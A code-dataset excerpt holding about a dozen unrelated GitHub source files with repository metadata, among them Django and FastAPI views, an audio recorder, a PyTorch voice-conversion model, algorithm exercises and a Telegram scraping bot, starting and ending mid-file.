all_data[i].title:\r\n\r\n\t\t\t\tif \"Re\" in all_data[i].title or \"Fw\" in all_data[i].title:\r\n\r\n\t\t\t\t\tpass \r\n\t\t\t\telif str(search) in all_data[i].title:\r\n\t\t\t\t\tfilter_title.append(all_data[i].title)\r\n\t\t\t\t\tfilter_author.append(all_data[i].author)\r\n\t\t\t\t\tfilter_content.append(all_data[i].content)\r\n\r\n\t\t\t\t\ttemp=all_data[i].date.strftime(\"%m/%d\")\r\n\t\t\t\t\tfilter_date.append(str(temp))\r\n\t\t\t\t\tfilter_href.append(all_data[i].href)\r\n\t\t\t\t\tfilter_pushcount.append(all_data[i].pushcount) #把新聞資料濾開\r\n\r\n\r\n\t\t#print(filter_date)\r\n\r\n\r\n\t\t\r\n\r\n\t\t#把全部的元素限制在過去14天\r\n\t\ttitle,author,content,date,href,pushcount=range_filter(Start_Date,End_Date,filter_title,filter_author,filter_content,filter_date,filter_href,filter_pushcount)\r\n\r\n\t\t\r\n\t\tpos,neg=sent_dict()\t#提取情緒字典\r\n\t\tpos_fin,neg_fin=fin_dict()\t#提取金融字典\r\n\t\tcompany=all_company_name()\t#提取公司字典\r\n\r\n\t\tnews_trend_count=new_trend(date) #make Keyword Trend Chart 做出關鍵字趨勢圖\r\n\t\t#make positive Keyword Trend Chart 做出正向關鍵字趨勢圖\r\n\t\tpositive_trend_chart,pos_fin_text_count,pos_fin_dict=sent_trend(title,content,date,href,pos_fin)\r\n\t\t#make Negative Keyword Trend Chart 做出負向關鍵字趨勢圖\r\n\t\tnegative_trend_chart,neg_fin_text_count,neg_fin_dict=sent_trend(title,content,date,href,neg_fin)\r\n\r\n\t\tpositive_trend_chart,pos_sent_text_count,pos_dict=sent_trend(title,content,date,href,pos)\r\n\t\tpositive_trend_chart,neg_sent_text_count,neg_dict=sent_trend(title,content,date,href,neg)\r\n\t\tpos_sent_text_count=take_dic(pos_sent_text_count,10)\r\n\t\tneg_sent_text_count=take_dic(neg_sent_text_count,10)\r\n\t\tpos_fin_text_count=take_dic(pos_fin_text_count,10)\r\n\t\tneg_fin_text_count=take_dic(neg_fin_text_count,10)\r\n\r\n\t\tnormlize_pos=normalize(pos_sent_text_count)\r\n\t\tnormlize_neg=normalize(neg_sent_text_count)\r\n\t\tnormlize_pos_fin=normalize(pos_fin_text_count)\r\n\t\tnormlize_neg_fin=normalize(neg_fin_text_count)\r\n\t\t#print(pos_fin_dict)\r\n\r\n\r\n\r\n\t\t#make Financial pie Chart 做出金融圓餅圖\r\n\t\tpos_fin_count,neg_fin_count=Fin_chart(title,content,pos_fin,neg_fin) \r\n\t\t#make Normal pie Chart 做出情緒圓餅圖\r\n\t\tpos_count,neg_count=Fin_chart(title,content,pos,neg) \r\n\t\t#make company Bubble Chartny 做出泡泡圖 注意泡泡圖的資訊跟上面的都不一樣。是allata\r\n\t\ttitle,author,content,date,href,pushcount=range_filter(Start_Date,End_Date,alldata_title,alldata_author,alldata_content,alldata_date,alldata_href,alldata_pushcount)\r\n\t\tcompany_count=company_count_function(company,title,content)\r\n\t\tstopword=[\"正文\",\"大量\",\"統一\",\"材料\",\"國產\",\"聯發\",\"台南\"]\r\n\t\tfor i in stopword:\r\n\t\t\ttry:\r\n\t\t\t\tdel company_count[i]\r\n\t\t\texcept KeyError:\r\n\t\t\t\tpass\r\n\t\tcompany_rank=take_dic(company_count,10)\r\n\r\n\r\n\t\trequest.session['pos_dict'] = pos_dict\r\n\t\trequest.session['neg_dict'] = neg_dict\r\n\t\trequest.session['pos_fin_dict'] = pos_fin_dict\r\n\t\trequest.session['neg_fin_dict'] = neg_fin_dict\r\n\t\t#print(news_trend_count)\r\n\t\treturn render(request, 'index.html', locals())\r\n","repo_name":"dodo0095/-mimir_ver2.0","sub_path":"base/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":13032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70184945155","text":"import threading\r\nfrom pydub import AudioSegment\r\nimport pyaudio\r\nimport os\r\nimport sys\r\n\r\nrecording = True\r\n\r\nFRAME_RATE = 16000\r\nCHANNELS = 2\r\naudionumber = 1\r\n\r\np = pyaudio.PyAudio()\r\n\r\nrecording = True\r\n\r\nTEMP_DIR = \"tempWAV\"\r\nif not os.path.exists(TEMP_DIR):\r\n os.makedirs(TEMP_DIR)\r\n\r\ndef get_valid_input_device():\r\n for i in range(p.get_device_count()):\r\n device_info = p.get_device_info_by_index(i)\r\n if device_info.get('maxInputChannels', 0) >= CHANNELS:\r\n return i\r\n return None\r\n\r\ninput_device_index = get_valid_input_device()\r\n\r\ndef record_and_save_audio(seconds=10, chunk=1024, audio_format=pyaudio.paInt16):\r\n global audionumber, recording, input_device_index\r\n\r\n while recording:\r\n try:\r\n stream = p.open(format=audio_format, channels=CHANNELS, rate=FRAME_RATE, input=True, frames_per_buffer=chunk, input_device_index=input_device_index)\r\n frames = []\r\n\r\n for i in range(0, int(FRAME_RATE / chunk * seconds)):\r\n data = stream.read(chunk)\r\n frames.append(data)\r\n\r\n stream.stop_stream()\r\n stream.close()\r\n\r\n sound = AudioSegment(\r\n data=b''.join(frames),\r\n sample_width=p.get_sample_size(audio_format),\r\n frame_rate=FRAME_RATE,\r\n channels=CHANNELS\r\n )\r\n\r\n filename = os.path.join(TEMP_DIR, f\"temp{audionumber}.wav\")\r\n sound.export(filename, format=\"wav\")\r\n audionumber += 1\r\n\r\n except Exception as e:\r\n print(f\"Error: {e}\")\r\n\r\ndef stop_recording():\r\n global recording\r\n recording = False\r\n\r\nprint(\"Start speaking...\")\r\n\r\nrecording_thread = threading.Thread(target=record_and_save_audio)\r\n\r\ntry:\r\n recording_thread.start()\r\n\r\n input(\"Press Enter to stop recording...\")\r\n\r\nexcept KeyboardInterrupt:\r\n print(\"Recording stopped by user.\")\r\nfinally:\r\n stop_recording()\r\n recording_thread.join()\r\n p.terminate()\r\n sys.exit(0)","repo_name":"Shenthan99/VauxhallCross","sub_path":"EMBEDDED SYSTEMS PROJECT/checkA.py","file_name":"checkA.py","file_ext":"py","file_size_in_byte":2024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26084081483","text":"\"\"\"empty message\n\nRevision ID: dda8b5e16e1\nRevises: 394a8512df4d\nCreate Date: 2015-11-14 17:35:44.598444\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = 'dda8b5e16e1'\ndown_revision = '394a8512df4d'\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n\ndef upgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.create_table('participant',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=511), nullable=True),\n sa.Column('photos', sa.Integer(), nullable=True),\n sa.Column('bio', sa.Text(), nullable=True),\n sa.Column('goal', sa.Integer(), nullable=True),\n sa.Column('event', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['event'], ['page.id'], ),\n sa.ForeignKeyConstraint(['photos'], ['gallery.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n ### end Alembic commands ###\n\n\ndef downgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('participant')\n ### end Alembic commands ###\n","repo_name":"warrensavich/FlaskCMS","sub_path":"migrations/versions/dda8b5e16e1_.py","file_name":"dda8b5e16e1_.py","file_ext":"py","file_size_in_byte":1027,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72659705793","text":"import os.path\nfrom typing import Annotated\n\nfrom fastapi import UploadFile, File, HTTPException, status, Path, Body\n\nimport src.settings\nfrom . import schemas, models\nfrom .database import SessionLocal\n\n\ndef get_db():\n\tdb = SessionLocal()\n\ttry:\n\t\tyield db\n\tfinally:\n\t\tdb.close()\n\n\ndef upload_file(\n\tfile: Annotated[\n\t\t\tUploadFile, File()\n\t\t] = None\n):\n\t\"\"\"\n\tПроверка наличия отправляемого файла и его формата\n\t\"\"\"\n\tif file is None:\n\t\traise HTTPException(status_code=status.HTTP_405_METHOD_NOT_ALLOWED, detail=\"The file wasn't uploaded\")\n\n\tif any(file.filename.endswith(file_format) for file_format in src.settings.AVAILABLE_FILES_FORMATS):\n\t\treturn file\n\telse:\n\t\traise HTTPException(status_code=status.HTTP_400_BAD_REQUEST,\n\t\t\t\t\t\t\tdetail=f\"Got an invalid file format. Only supports to {src.settings.AVAILABLE_FILES_FORMATS}\")\n\n\ndef get_file(\n\tfile_id: Annotated[int, Path(ge=1)],\n\tparams: Annotated[dict | None, Body(embed=True)] = None\n) -> tuple[schemas.File, str, dict | None]:\n\t\"\"\"\n\tПроверка правильности заполнения передачи параметров и существования файла.\n\tСоздание временного файла с искомым содержимым для парсинга и фильтрации/сортировки после считывания\n\tcsv-таблицы\n\t\"\"\"\n\tstd_params = [src.settings.FILTERING_QUERY, src.settings.SORTING_QUERY]\n\tif not params is None:\n\t\tif any(not query in std_params for query in params):\n\t\t\traise HTTPException(status_code=status.HTTP_400_BAD_REQUEST, detail=\"Unsupported query.\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tf\"Supports only for {std_params}\")\n\t\tif any(not isinstance(params.get(param), list) for param in params):\n\t\t\traise HTTPException(status_code=status.HTTP_400_BAD_REQUEST, detail=f\"Parameters values must \"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tf\"be the list of dicts\")\n\tdb = next(get_db())\n\tfile = db.query(models.File).filter_by(id=file_id).first()\n\tif file is None:\n\t\traise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=f\"Chosen file not found\")\n\n\tif not os.path.exists(src.settings.TEMPORARY_FILES_DIR):\n\t\tos.mkdir(src.settings.TEMPORARY_FILES_DIR)\n\tfile_path: str = src.settings.TEMPORARY_FILES_DIR + file.name\n\twith open(file_path, 'wb') as file_out:\n\t\tfile_out.write(file.content)\n\n\treturn file, file_path, params\n","repo_name":"Dahaka1/pk_test_task","sub_path":"app/dependencies.py","file_name":"dependencies.py","file_ext":"py","file_size_in_byte":2368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5364819295","text":"from django.http import HttpResponse\nfrom django.shortcuts import render\n\n\nDATA = {\n 'omlet': {\n 'яйца, шт': 2,\n 'молоко, л': 0.1,\n 'соль, ч.л.': 0.5,\n },\n 'pasta': {\n 'макароны, г': 0.3,\n 'сыр, г': 0.05,\n },\n 'buter': {\n 'хлеб, ломтик': 1,\n 'колбаса, ломтик': 1,\n 'сыр, ломтик': 1,\n 'помидор, ломтик': 1,\n },\n # можете добавить свои рецепты ;)\n}\n\n# Напишите ваш обработчик. Используйте DATA как источник данных\n# Результат - render(request, 'calculator/index.html', context)\n# В качестве контекста должен быть передан словарь с рецептом:\n\n\ndef receipt_view(request, name):\n servings = int(request.GET.get('servings', '1'))\n ingredients = DATA.get(name, None)\n if not ingredients:\n return HttpResponse('Такого блюда нет в списке')\n for ingrid in ingredients:\n ingredients[ingrid] *= servings\n context = {\n 'recipe': ingredients,\n }\n return render(request, 'calculator/index.html', context)\n","repo_name":"VoronovaDA/Django_HW.py","sub_path":"1.2-requests-templates/recipes/recipes/calculator/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1248,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"33889283265","text":"'''\nisUsed1 : 세로 이동 체크\nisUsed2 : 좌측하단에서 우측 상단 이동 체크\nisUsed3 : 우측하단에서 좌측 상단 이동 체크\nex)\n10000\n00100\n00000\n00000\n00000\n으로 배치됐을때\nQ k i\nQ1 0,0\nQ2 1,2\nisUsed1 [T,F,T,F,F]\nisUsed2 [T,F,F,T,F,F,F,F,F]\nisUsed3 [F,F,F,T,T,F,F,F,F]\n'''\nN = int(input())\ncnt = 0 #경우의 수\nisUsed1, isUsed2, isUsed3 = [False]*40, [False]*40, [False]*40 #체스판 퀸 움직임 체크\n\ndef rec(k) : # 현재 배치될 행\n global cnt\n \n if k==N : # 끝까지 다 배치했으면 카운트\n cnt +=1\n return\n for i in range(N):\n if isUsed1[i] or isUsed2[i+k] or isUsed3[k-i+N-1] : # 세로, 대각선에 하나라도 겹치면 다음\n continue\n \n #안겹치면 배치\n isUsed1[i] = True\n isUsed2[i+k] = True\n isUsed3[k-i+N-1] = True\n # 다음 행\n rec(k+1)\n # 끝나면 다시 초기화\n isUsed1[i] = False\n isUsed2[i+k] = False\n isUsed3[k-i+N-1] = False\n\nrec(0) # 0번째에서 시작\nprint(cnt)","repo_name":"dyeongkim/TIL","sub_path":"Algorithm/Backtracking/boj_9663.py","file_name":"boj_9663.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3468648992","text":"#Key Value Pair\n#Can mix variable types\nalien = {'color': 'green', 'points': 5}\nprint(alien['color'])\nprint(alien['points'])\n\n#Adding new keys\nalien['x-position'] = 0\nalien['y-position'] = 25\nalien['armor'] = 100\nprint(alien)\n\n#Empty dictionary\nalien_new = {}\n\n#Modifiying a key\nalien['color'] = 'yellow'\n\nprint(alien)\n\n#Deleting a key\ndel alien['points']\nprint(alien)\n\n#Formatting\nalien_new = {\n\t'color': 'green',\n\t'points': 10\n}\nprint(alien_new)\n\n#Pretty printing\nimport pprint\npprint.pprint(alien_new)\n\n#Using a default value if key not found\npoint_value = alien.get('points', 5)\nprint(point_value)\n\nalien.setdefault('points', 5)\nprint(alien.get('points'))\n\n#Looping\nfor key,value in alien_new.items():\n\tprint(f\"Key: {key} Value: {value}\")\n\n#Key Looping\nfor key in alien_new.keys():\n\tprint(f\"Key: {key}\")\n\n#Sorting the keys\nsorted_alien = sorted(alien)\nprint(alien)\nprint(sorted_alien)\n\n#Value looping\nfor value in alien_new.values():\n\tprint(f\"Value: {value}\")\n\n#Nesting\nnested_alien = {\n\t'points': 10,\n\t'color': 'green',\n\t'coordinates': {\n\t\t'x': 0,\n\t\t'y': 25\n\t},\n\t'attributes': [\n\t\t'small',\n\t\t'fast'\n\t]\n}\nprint(nested_alien)\nfor attribute in nested_alien['attributes']:\n\tprint(attribute)\nprint(nested_alien['coordinates']['x'])\nprint(nested_alien['coordinates']['y'])\n\n#List of aliens\n#Make 10 aliens\naliens = []\nfor i in range(10):\n\taliens.append({'color': 'green', 'points': 25, 'id': i})\n#Print first five\nfor alien in aliens[:5]:\n\tprint(alien)\n#Count the aliens\nprint(len(aliens))\n","repo_name":"adam-bots-tech/python-cheatsheets","sub_path":"dictionaries.py","file_name":"dictionaries.py","file_ext":"py","file_size_in_byte":1489,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"61"} +{"seq_id":"73021055874","text":"from sqlalchemy import desc\n\nfrom zopsedu.bap.models.proje import Proje\nfrom zopsedu.bap.models.proje_satinalma_talepleri import ProjeSatinAlmaTalebi\nfrom zopsedu.lib.db import DB\nfrom zopsedu.lib.satinalma_state_dispatcher import SatinalmaStateDispatcher\nfrom zopsedu.models import AppState, AppAction, SablonTipi, Sablon\nfrom zopsedu.models.helpers import StateTypes, ActionTypes\n\n\ndef get_satinalma_with_related_fields(satinalma_id):\n \"\"\"\n Satinalma ile satinalma ve iliskili alanlari veritabanindan getiren method\n Args:\n satinalma (int): satinalma id\n\n Returns:\n satinalma instance\n\n \"\"\"\n satinalma = DB.session.query(ProjeSatinAlmaTalebi).join(Proje, Proje.id == ProjeSatinAlmaTalebi.proje_id).filter(\n ProjeSatinAlmaTalebi.id == satinalma_id).first()\n\n return satinalma\n\n\ndef get_satinalma_next_states_info(satinalma_id):\n satinalma = get_satinalma_with_related_fields(satinalma_id=satinalma_id)\n\n satinalma_dispatcher = SatinalmaStateDispatcher(state_type=StateTypes.satinalma,\n action_type=ActionTypes.satinalma,\n entity_type=ProjeSatinAlmaTalebi,\n entity=satinalma)\n\n possible_next_states = satinalma_dispatcher.possible_next_states_info()\n\n states_info = DB.session.query(AppState). \\\n filter(AppState.state_code.in_(possible_next_states.possible_states)).all()\n\n return states_info\n\n\ndef get_satinalma_actions_info(satinalma_id):\n satinalma = get_satinalma_with_related_fields(satinalma_id=satinalma_id)\n satinalma_dispatcher = SatinalmaStateDispatcher(state_type=StateTypes.satinalma,\n action_type=ActionTypes.satinalma,\n entity_type=ProjeSatinAlmaTalebi,\n entity=satinalma)\n\n possible_actions = satinalma_dispatcher.possible_actions()\n\n actions_info = DB.session.query(AppAction).filter(\n AppAction.action_code.in_(possible_actions.possible_actions)).all()\n\n return actions_info\n\n\ndef get_templates_info(satinalma_id):\n satinalma = get_satinalma_with_related_fields(satinalma_id=satinalma_id)\n\n satinalma_dispatcher = SatinalmaStateDispatcher(state_type=StateTypes.satinalma,\n action_type=ActionTypes.satinalma,\n entity_type=ProjeSatinAlmaTalebi,\n entity=satinalma)\n\n possible_templates = satinalma_dispatcher.possible_template_types()\n\n sablon = DB.session.query(Sablon).order_by(desc(Sablon.created_at)).subquery('sablon')\n\n templates_info = DB.session.query(sablon).filter(\n sablon.c.sablon_tipi_id.in_(possible_templates),\n sablon.c.kullanilabilir_mi == True,\n sablon.c.query_id != None).distinct(sablon.c.sablon_tipi_id).all()\n\n return templates_info\n","repo_name":"kunthar/zopsedu","sub_path":"zopsedu/bap/satinalma/views/commons.py","file_name":"commons.py","file_ext":"py","file_size_in_byte":3088,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"61"} +{"seq_id":"34152061421","text":"import torch\nfrom torch import nn\nfrom torch.autograd import Variable\nfrom math import sqrt\nfrom .utils import to_gpu\nfrom .decoder import Decoder\nfrom .layers import SpeakerClassifier, SpeakerEncoder, AudioSeq2seq, TextEncoder, PostNet, MergeNet\n\n\nclass Parrot(nn.Module):\n def __init__(self, hparams):\n super(Parrot, self).__init__()\n\n #print hparams\n # plus \n self.embedding = nn.Embedding(\n hparams.n_symbols + 1, hparams.symbols_embedding_dim)\n std = sqrt(2.0 / (hparams.n_symbols + hparams.symbols_embedding_dim))\n val = sqrt(3.0) * std\n\n self.sos = hparams.n_symbols\n\n self.embedding.weight.data.uniform_(-val, val)\n\n self.text_encoder = TextEncoder(hparams)\n\n self.audio_seq2seq = AudioSeq2seq(hparams)\n\n self.merge_net = MergeNet(hparams)\n\n self.speaker_encoder = SpeakerEncoder(hparams)\n\n self.speaker_classifier = SpeakerClassifier(hparams)\n\n self.decoder = Decoder(hparams)\n \n self.postnet = PostNet(hparams)\n\n self.spemb_input = hparams.spemb_input\n\n def grouped_parameters(self,):\n\n params_group1 = [p for p in self.embedding.parameters()]\n params_group1.extend([p for p in self.text_encoder.parameters()])\n params_group1.extend([p for p in self.audio_seq2seq.parameters()])\n params_group1.extend([p for p in self.speaker_encoder.parameters()])\n params_group1.extend([p for p in self.merge_net.parameters()])\n params_group1.extend([p for p in self.decoder.parameters()])\n params_group1.extend([p for p in self.postnet.parameters()])\n\n return params_group1, [p for p in self.speaker_classifier.parameters()]\n\n def parse_batch(self, batch):\n text_input_padded, mel_padded, spc_padded, speaker_id, \\\n text_lengths, mel_lengths, stop_token_padded = batch\n \n text_input_padded = to_gpu(text_input_padded).long()\n mel_padded = to_gpu(mel_padded).float()\n spc_padded = to_gpu(spc_padded).float()\n speaker_id = to_gpu(speaker_id).long()\n text_lengths = to_gpu(text_lengths).long()\n mel_lengths = to_gpu(mel_lengths).long()\n stop_token_padded = to_gpu(stop_token_padded).float()\n\n return ((text_input_padded, mel_padded, text_lengths, mel_lengths),\n (text_input_padded, mel_padded, spc_padded, speaker_id, stop_token_padded))\n\n\n def forward(self, inputs, input_text):\n '''\n text_input_padded [batch_size, max_text_len]\n mel_padded [batch_size, mel_bins, max_mel_len]\n text_lengths [batch_size]\n mel_lengths [batch_size]\n\n #\n predicted_mel [batch_size, mel_bins, T]\n predicted_stop [batch_size, T/r]\n alignment input_text==True [batch_size, T/r, max_text_len] or input_text==False [batch_size, T/r, T/r]\n text_hidden [B, max_text_len, hidden_dim]\n mel_hidden [B, T/r, hidden_dim]\n spearker_logit_from_mel [B, n_speakers]\n speaker_logit_from_mel_hidden [B, T/r, n_speakers]\n text_logit_from_mel_hidden [B, T/r, n_symbols]\n\n '''\n\n text_input_padded, mel_padded, text_lengths, mel_lengths = inputs\n\n text_input_embedded = self.embedding(text_input_padded.long()).transpose(1, 2) # -> [B, text_embedding_dim, max_text_len]\n text_hidden = self.text_encoder(text_input_embedded, text_lengths) # -> [B, max_text_len, hidden_dim]\n\n B = text_input_padded.size(0)\n start_embedding = Variable(text_input_padded.data.new(B,).fill_(self.sos))\n start_embedding = self.embedding(start_embedding)\n\n # -> [B, n_speakers], [B, speaker_embedding_dim] \n speaker_logit_from_mel, speaker_embedding = self.speaker_encoder(mel_padded, mel_lengths) \n\n if self.spemb_input:\n T = mel_padded.size(2)\n audio_input = torch.cat([mel_padded, \n speaker_embedding.detach().unsqueeze(2).expand(-1, -1, T)], 1)\n else:\n audio_input = mel_padded\n \n audio_seq2seq_hidden, audio_seq2seq_logit, audio_seq2seq_alignments = self.audio_seq2seq(\n audio_input, mel_lengths, text_input_embedded, start_embedding) \n audio_seq2seq_hidden= audio_seq2seq_hidden[:,:-1, :] # -> [B, text_len, hidden_dim]\n \n \n speaker_logit_from_mel_hidden = self.speaker_classifier(audio_seq2seq_hidden) # -> [B, text_len, n_speakers]\n\n if input_text:\n hidden = self.merge_net(text_hidden, text_lengths)\n else:\n hidden = self.merge_net(audio_seq2seq_hidden, text_lengths)\n \n L = hidden.size(1)\n hidden = torch.cat([hidden, speaker_embedding.detach().unsqueeze(1).expand(-1, L, -1)], -1)\n\n predicted_mel, predicted_stop, alignments = self.decoder(hidden, mel_padded, text_lengths)\n\n post_output = self.postnet(predicted_mel)\n\n outputs = [predicted_mel, post_output, predicted_stop, alignments,\n text_hidden, audio_seq2seq_hidden, audio_seq2seq_logit, audio_seq2seq_alignments, \n speaker_logit_from_mel, speaker_logit_from_mel_hidden,\n text_lengths, mel_lengths]\n\n return outputs\n\n \n def inference(self, inputs, input_text, mel_reference, beam_width):\n '''\n decode the audio sequence from input\n inputs x\n input_text True or False\n mel_reference [1, mel_bins, T]\n '''\n text_input_padded, mel_padded, text_lengths, mel_lengths = inputs\n text_input_embedded = self.embedding(text_input_padded.long()).transpose(1, 2)\n text_hidden = self.text_encoder.inference(text_input_embedded)\n\n B = text_input_padded.size(0) # B should be 1\n start_embedding = Variable(text_input_padded.data.new(B,).fill_(self.sos))\n start_embedding = self.embedding(start_embedding) # [1, embedding_dim]\n\n #-> [B, text_len+1, hidden_dim] [B, text_len+1, n_symbols] [B, text_len+1, T/r]\n speaker_id, speaker_embedding = self.speaker_encoder.inference(mel_reference)\n\n if self.spemb_input:\n T = mel_padded.size(2)\n audio_input = torch.cat([mel_padded, \n speaker_embedding.detach().unsqueeze(2).expand(-1, -1, T)], 1)\n else:\n audio_input = mel_padded\n \n audio_seq2seq_hidden, audio_seq2seq_phids, audio_seq2seq_alignments = self.audio_seq2seq.inference_beam(\n audio_input, start_embedding, self.embedding, beam_width=beam_width) \n audio_seq2seq_hidden= audio_seq2seq_hidden[:,:-1, :] # -> [B, text_len, hidden_dim]\n\n # -> [B, n_speakers], [B, speaker_embedding_dim] \n\n if input_text:\n hidden = self.merge_net.inference(text_hidden)\n else:\n hidden = self.merge_net.inference(audio_seq2seq_hidden)\n\n L = hidden.size(1)\n hidden = torch.cat([hidden, speaker_embedding.detach().unsqueeze(1).expand(-1, L, -1)], -1)\n \n predicted_mel, predicted_stop, alignments = self.decoder.inference(hidden)\n\n post_output = self.postnet(predicted_mel)\n\n return (predicted_mel, post_output, predicted_stop, alignments,\n text_hidden, audio_seq2seq_hidden, audio_seq2seq_phids, audio_seq2seq_alignments,\n speaker_id)\n\n\n","repo_name":"jxzhanggg/nonparaSeq2seqVC_code","sub_path":"pre-train/model/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":7334,"program_lang":"python","lang":"en","doc_type":"code","stars":246,"dataset":"github-code","pt":"61"} +{"seq_id":"33496494910","text":"\"\"\"\nDescription\n___________\nFind K-th largest element in an array.\n\nExample\n__________\nIn array [9,3,2,4,8], the 3rd largest element is 4.\nIn array [1,2,3,4,5], the 1st largest element is 5, 2nd largest element is 4\n3rd largest element is 3 and etc.\n\nApproach\n__________\nReversed QuickSelect\n+++++++++++++++++++++\nWe are essentially quickselecting from behind\n\nWhen D & Q do this\nif k == len(alist) - split:\n return alist[split]\nelif len(alist) - split < k:\n return self.quickselecthelper(alist, start, split - 1, k)\nelse:\n return self.quickselecthelper(alist, split + 1, end, k)\n\nComplexity\n___________\nTime - AVG O(N). WrostCase O(N^2)\nSapce - O(1)\n\"\"\" \n\nclass Solution:\n # @param k & A a integer and an array\n # @return ans a integer\n\n def kthLargestElement(self, k, A):\n return self.quickselect(A, k)\n\n def quickselect(self, alist, k):\n start, end = 0, len(alist) - 1\n return self.quickselecthelper(alist, start, end, k)\n\n def quickselecthelper(self, alist, start, end, k):\n if start <= end:\n\n split = self.random_partition(alist, start, end)\n # print start,end, split\n if k == len(alist) - split:\n return alist[split]\n elif len(alist) - split < k:\n return self.quickselecthelper(alist, start, split - 1, k)\n else:\n return self.quickselecthelper(alist, split + 1, end, k)\n\n def random_partition(self, alist, start, end):\n from random import randint\n pivot = randint(start, end)\n temp = alist[start]\n alist[start] = alist[pivot]\n alist[pivot] = temp\n\n leftmark = start + 1\n rightmark = end\n pivotvalue = alist[start]\n\n while leftmark <= rightmark:\n while leftmark <= rightmark and alist[leftmark] <= pivotvalue:\n leftmark += 1\n while rightmark >= leftmark and alist[rightmark] >= pivotvalue:\n rightmark -= 1\n if leftmark <= rightmark:\n self.swap(alist, leftmark, rightmark)\n\n self.swap(alist, start, rightmark)\n return rightmark\n\n def swap(self, alist, a, b):\n temp = alist[a]\n alist[a] = alist[b]\n alist[b] = temp\n","repo_name":"ZhengyangXu/Classified","sub_path":"8.Data_Structure/8.5_5_Kth_Largest_Element.py","file_name":"8.5_5_Kth_Largest_Element.py","file_ext":"py","file_size_in_byte":2252,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"8998075733","text":"from flask import Flask, request\nfrom bs4 import BeautifulSoup as bs\nimport requests\nimport json\nimport time\nimport os\n\n\napp = Flask(__name__)\n\nTELEGRAM_TOKEN = os.getenv('TELEGRAM_TOKEN')\nTELEGRAM_URL = 'https://api.hphk.io/telegram'\n\n# 마스터키 전체\n# 마스터키 ***점\nCAFE_LIST = {\n '전체': -1,\n '부천점': 15,\n '안양점': 13,\n '대구동성로2호점': 14,\n '대구동성로점': 9,\n '궁동직영점': 1,\n '은행직영점': 2,\n '부산서면점': 19,\n '홍대상수점': 20,\n '강남점': 16,\n '건대점': 10,\n '홍대점': 11,\n '신촌점': 6,\n '잠실점': 21,\n '부평점': 17,\n '익산점': 12,\n '전주고사점': 8,\n '천안신부점': 18,\n '천안점': 3,\n '천안두정점': 7,\n '청주점': 4\n }\n\n\n@app.route('/{}'.format(TELEGRAM_TOKEN), methods=['POST'])\ndef telegram():\n #텔레그램으로부터 요청이 들어올 경우, 해당 요청을 처리하는 코드\n \n #print(request.get_json())\n #print(json.loads(request))\n \n response = request.get_json()\n \n chat_id = response[\"message\"][\"from\"][\"id\"]\n msg =response[\"message\"][\"text\"]\n \n \n if (msg.startswith(\"마스터키\")) :\n cafe_name = msg.split(' ')[1]\n \n if(cafe_name in CAFE_LIST.keys()):\n msg = []\n if(CAFE_LIST[cafe_name]==-1):\n for d in master_key_list():\n msg.append('\\n'.join(d.values()))\n #msg = ' '.join(CAFE_LIST.keys())\n \n # for d in master_key_list():\n # cnt =0\n # for z in d.values():\n # if (cnt==3):\n # msg.append('\\n'.join(''))\n # else:\n # msg.append('\\n'.join(z))\n # cnt+=1\n \n else:\n for d in master_key_info(CAFE_LIST[cafe_name]):\n msg.append('\\n'.join(d.values()))\n \n msg = '\\n'.join(msg)\n \n else:\n msg = '등록되지 않은 지점입니다.'\n \n elif(msg.startswith(\"서이룸\")):\n if(len(msg.split(' '))>2):\n cafe_name = msg.split(' ')[1] +' '+ msg.split(' ')[2]\n else:\n cafe_name = msg.split(' ')[1]\n \n if (cafe_name == \"전체\"):\n msg = '\\n'.join(seoul_escape_list())\n else:\n msg = '\\n'.join(seoul_escape_info(cafe_name))\n \n \n elif(msg == \"환율\"):\n bab = []\n avg = []\n name = []\n buy = []\n sell = []\n \n url = \"https://spib.wooribank.com/pib/jcc?withyou=CMCOM0184&__ID=c012238\"\n \n response= requests.get(url).text\n \n soup = bs(response, 'html.parser')\n \n all_asas=soup.find_all('td')\n \n cnt =0\n for j in all_asas:\n if(cnt abcblackpower\n # '\\n'.join(list명) => abc\\black\\power\n\n \n url = 'https://api.hphk.io/telegram/bot{}/sendMessage'.format(TELEGRAM_TOKEN)\n requests.get(url, params = {\"chat_id\": chat_id, \"text\": msg})\n \n # 보낸 메세지내용 그대로 다시 리턴\n # chat_id = response[\"message\"][\"from\"][\"id\"]\n # msg = response[\"message\"][\"text\"]\n \n # url = 'https://api.hphk.io/telegram/bot{}/sendMessage'.format(TELEGRAM_TOKEN)\n \n # requests.get(url, params = {\"chat_id\": chat_id, \"text\": msg})\n \n \n \n return '', 200\n\n\n@app.route('/set_webhook')\ndef set_webhook():\n \n \n url = TELEGRAM_URL + '/bot' + TELEGRAM_TOKEN + '/setWebhook'\n params = {\n 'url': 'https://ssafy-week2-hansung27.c9users.io/{}'.format(TELEGRAM_TOKEN)\n }\n \n response = requests.get(url, params = params).text\n \n return 